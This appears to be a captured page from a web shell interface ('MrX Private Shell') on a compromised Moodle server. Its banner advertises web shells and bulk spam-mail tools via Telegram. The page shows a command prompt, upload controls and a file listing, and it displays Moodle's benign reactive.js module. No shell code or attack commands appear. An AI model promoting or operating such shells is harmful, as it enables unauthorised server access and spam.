__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * A generic single state reactive module.
 *
 * @module     core/local/reactive/reactive
 * @class      core/local/reactive/reactive
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import log from 'core/log';
import StateManager from 'core/local/reactive/statemanager';
import Pending from 'core/pending';

// Count the number of pending operations done to ensure we have a unique id for each one.
let pendingCount = 0;

/**
 * Set up general reactive class to create a single state application with components.
 *
 * The reactive class is used for registering new UI components and manage the access to the state values
 * and mutations.
 *
 * When a new reactive instance is created, it will contain an empty state and and empty mutations
 * lists. When the state data is ready, the initial state can be loaded using the "setInitialState"
 * method. This will protect the state from writing and will trigger all the components "stateReady"
 * methods.
 *
 * State can only be altered by mutations. To replace all the mutations with a specific class,
 * use "setMutations" method. If you need to just add some new mutation methods, use "addMutations".
 *
 * To register new components into a reactive instance, use "registerComponent".
 *
 * Inside a component, use "dispatch" to invoke a mutation on the state (components can only access
 * the state in read only mode).
 */
export default class {

    /**
     * The component descriptor data structure.
     *
     * @typedef {object} description
     * @property {string} eventName the custom event name used for state changed events
     * @property {Function} eventDispatch the state update event dispatch function
     * @property {Element} [target] the target of the event dispatch. If not passed a fake element will be created
     * @property {Object} [mutations] an object with state mutations functions
     * @property {Object} [state] an object to initialize the state.
     */

    /**
     * Create a basic reactive manager.
     *
     * Note that if your state is not async loaded, you can pass directly on creation by using the
     * description.state attribute. However, this will initialize the state, this means
     * setInitialState will throw an exception because the state is already defined.
     *
     * @param {description} description reactive manager description.
     */
    constructor(description) {

        if (description.eventName === undefined || description.eventDispatch === undefined) {
            throw new Error(`Reactivity event required`);
        }

        if (description.name !== undefined) {
            this.name = description.name;
        }

        // Each reactive instance has its own element anchor to propagate state changes internally.
        // By default the module will create a fake DOM element to target custom events but
        // if all reactive components is constrait to a single element, this can be passed as
        // target in the description.
        this.target = description.target ?? document.createTextNode(null);

        this.eventName = description.eventName;
        this.eventDispatch = description.eventDispatch;

        // State manager is responsible for dispatch state change events when a mutation happens.
        this.stateManager = new StateManager(this.eventDispatch, this.target);

        // An internal registry of watchers and components.
        this.watchers = new Map([]);
        this.components = new Set([]);

        // Mutations can be overridden later using setMutations method.
        this.mutations = description.mutations ?? {};

        // Register the event to alert watchers when specific state change happens.
        this.target.addEventListener(this.eventName, this.callWatchersHandler.bind(this));

        // Add a pending operation waiting for the initial state.
        this.pendingState = new Pending(`core/reactive:registerInstance${pendingCount++}`);

        // Set initial state if we already have it.
        if (description.state !== undefined) {
            this.setInitialState(description.state);
        }

        // Check if we have a debug instance to register the instance.
        if (M.reactive !== undefined) {
            M.reactive.registerNewInstance(this);
        }
    }

    /**
     * State changed listener.
     *
     * This function take any state change and send it to the proper watchers.
     *
     * To prevent internal state changes from colliding with other reactive instances, only the
     * general "state changed" is triggered at document level. All the internal changes are
     * triggered at private target level without bubbling. This way any reactive instance can alert
     * only its own watchers.
     *
     * @param {CustomEvent} event
     */
    callWatchersHandler(event) {
        // Execute any registered component watchers.
        this.target.dispatchEvent(new CustomEvent(event.detail.action, {
            bubbles: false,
            detail: event.detail,
        }));
    }

    /**
     * Set the initial state.
     *
     * @param {object} stateData the initial state data.
     */
    setInitialState(stateData) {
        this.pendingState.resolve();
        this.stateManager.setInitialState(stateData);
    }

    /**
     * Add individual functions to the mutations.
     *
     * Note new mutations will be added to the existing ones. To replace the full mutation
     * object with a new one, use setMutations method.
     *
     * @method addMutations
     * @param {Object} newFunctions an object with new mutation functions.
     */
    addMutations(newFunctions) {
        // Mutations can provide an init method to do some setup in the statemanager.
        if (newFunctions.init !== undefined) {
            newFunctions.init(this.stateManager);
        }
        // Save all mutations.
        for (const [mutation, mutationFunction] of Object.entries(newFunctions)) {
            this.mutations[mutation] = mutationFunction.bind(newFunctions);
        }
    }

    /**
     * Replace the current mutations with a new object.
     *
     * This method is designed to override the full mutations class, for example by extending
     * the original one. To add some individual mutations, use addMutations instead.
     *
     * @param {object} manager the new mutations intance
     */
    setMutations(manager) {
        this.mutations = manager;
        // Mutations can provide an init method to do some setup in the statemanager.
        if (manager.init !== undefined) {
            manager.init(this.stateManager);
        }
    }

    /**
     * Return the current state.
     *
     * @return {object}
     */
    get state() {
        return this.stateManager.state;
    }

    /**
     * Get state data.
     *
     * Components access the state frequently. This convenience method is a shortcut to
     * this.reactive.state.stateManager.get() method.
     *
     * @param {String} name the state object name
     * @param {*} id an optional object id for state maps.
     * @return {Object|undefined} the state object found
     */
    get(name, id) {
        return this.stateManager.get(name, id);
    }

    /**
     * Return the initial state promise.
     *
     * Typically, components do not require to use this promise because registerComponent
     * will trigger their stateReady method automatically. But it could be useful for complex
     * components that require to combine state, template and string loadings.
     *
     * @method getState
     * @return {Promise}
     */
    getInitialStatePromise() {
        return this.stateManager.getInitialPromise();
    }

    /**
     * Register a new component.
     *
     * Component can provide some optional functions to the reactive module:
     * - getWatchers: returns an array of watchers
     * - stateReady: a method to call when the initial state is loaded
     *
     * It can also provide some optional attributes:
     * - name: the component name (default value: "Unkown component") to customize debug messages.
     *
     * The method will also use dispatchRegistrationSuccess and dispatchRegistrationFail. Those
     * are BaseComponent methods to inform parent components of the registration status.
     * Components should not override those methods.
     *
     * @method registerComponent
     * @param {object} component the new component
     * @param {string} [component.name] the component name to display in warnings and errors.
     * @param {Function} [component.dispatchRegistrationSuccess] method to notify registration success
     * @param {Function} [component.dispatchRegistrationFail] method to notify registration fail
     * @param {Function} [component.getWatchers] getter of the component watchers
     * @param {Function} [component.stateReady] method to call when the state is ready
     * @return {object} the registered component
     */
    registerComponent(component) {

        // Component name is an optional attribute to customize debug messages.
        const componentName = component.name ?? 'Unkown component';

        // Components can provide special methods to communicate registration to parent components.
        let dispatchSuccess = () => {
            return;
        };
        let dispatchFail = dispatchSuccess;
        if (component.dispatchRegistrationSuccess !== undefined) {
            dispatchSuccess = component.dispatchRegistrationSuccess.bind(component);
        }
        if (component.dispatchRegistrationFail !== undefined) {
            dispatchFail = component.dispatchRegistrationFail.bind(component);
        }

        // Components can be registered only one time.
        if (this.components.has(component)) {
            dispatchSuccess();
            return component;
        }

        // Components are fully registered only when the state ready promise is resolved.
        const pendingPromise = new Pending(`core/reactive:registerComponent${pendingCount++}`);

        // Keep track of the event listeners.
        let listeners = [];

        // Register watchers.
        let handlers = [];
        if (component.getWatchers !== undefined) {
            handlers = component.getWatchers();
        }
        handlers.forEach(({watch, handler}) => {

            if (watch === undefined) {
                dispatchFail();
                throw new Error(`Missing watch attribute in ${componentName} watcher`);
            }
            if (handler === undefined) {
                dispatchFail();
                throw new Error(`Missing handler for watcher ${watch} in ${componentName}`);
            }

            const listener = (event) => {
                // Prevent any watcher from losing the page focus.
                const currentFocus = document.activeElement;
                // Execute watcher.
                handler.apply(component, [event.detail]);
                // Restore focus in case it is lost.
                if (document.activeElement === document.body && document.body.contains(currentFocus)) {
                    currentFocus.focus();
                }
            };

            // Save the listener information in case the component must be unregistered later.
            listeners.push({target: this.target, watch, listener});

            // The state manager triggers a general "state changed" event at a document level. However,
            // for the internal watchers, each component can listen to specific state changed custom events
            // in the target element. This way we can use the native event loop without colliding with other
            // reactive instances.
            this.target.addEventListener(watch, listener);
        });

        // Register state ready function. There's the possibility a component is registered after the initial state
        // is loaded. For those cases we have a state promise to handle this specific state change.
        if (component.stateReady !== undefined) {
            this.getInitialStatePromise()
                .then(state => {
                    component.stateReady(state);
                    pendingPromise.resolve();
                    return true;
                })
                .catch(reason => {
                    pendingPromise.resolve();
                    log.error(`Initial state in ${componentName} rejected due to: ${reason}`);
                    log.error(reason);
                });
        }

        // Save unregister data.
        this.watchers.set(component, listeners);
        this.components.add(component);

        // Dispatch an event to communicate the registration to the debug module.
        this.target.dispatchEvent(new CustomEvent('registerComponent:success', {
            bubbles: false,
            detail: {component},
        }));

        dispatchSuccess();
        return component;
    }

    /**
     * Unregister a component and its watchers.
     *
     * @param {object} component the object instance to unregister
     * @returns {object} the deleted component
     */
    unregisterComponent(component) {
        if (!this.components.has(component)) {
            return component;
        }

        this.components.delete(component);

        // Remove event listeners.
        const listeners = this.watchers.get(component);
        if (listeners === undefined) {
            return component;
        }

        listeners.forEach(({target, watch, listener}) => {
            target.removeEventListener(watch, listener);
        });

        this.watchers.delete(component);

        return component;
    }

    /**
     * Dispatch a change in the state.
     *
     * This method is the only way for components to alter the state. Watchers will receive a
     * read only state to prevent illegal changes. If some user action require a state change, the
     * component should dispatch a mutation to trigger all the necessary logic to alter the state.
     *
     * @method dispatch
     * @param {string} actionName the action name (usually the mutation name)
     * @param {mixed} params any number of params the mutation needs.
     */
    async dispatch(actionName, ...params) {
        if (typeof actionName !== 'string') {
            throw new Error(`Dispatch action name must be a string`);
        }
        // JS does not have private methods yet. However, we prevent any component from calling
        // a method starting with "_" because the most accepted convention for private methods.
        if (actionName.charAt(0) === '_') {
            throw new Error(`Illegal Private ${actionName} mutation method dispatch`);
        }
        if (this.mutations[actionName] === undefined) {
            throw new Error(`Unkown ${actionName} mutation`);
        }

        const pendingPromise = new Pending(`core/reactive:${actionName}${pendingCount++}`);

        const mutationFunction = this.mutations[actionName];
        try {
            await mutationFunction.apply(this.mutations, [this.stateManager, ...params]);
            pendingPromise.resolve();
        } catch (error) {
            // Ensure the state is locked.
            this.stateManager.setReadOnly(true);
            pendingPromise.resolve();
            throw error;
        }
    }
}

Filemanager

Name Type Size Permission Actions
basecomponent.js File 18.45 KB 0777
debug.js File 10.79 KB 0777
debugpanel.js File 17.92 KB 0777
dragdrop.js File 19.55 KB 0777
logger.js File 1.72 KB 0777
overlay.js File 5.37 KB 0777
reactive.js File 15.66 KB 0777
srlogger.js File 2.76 KB 0777
statemanager.js File 29.91 KB 0777
Filemanager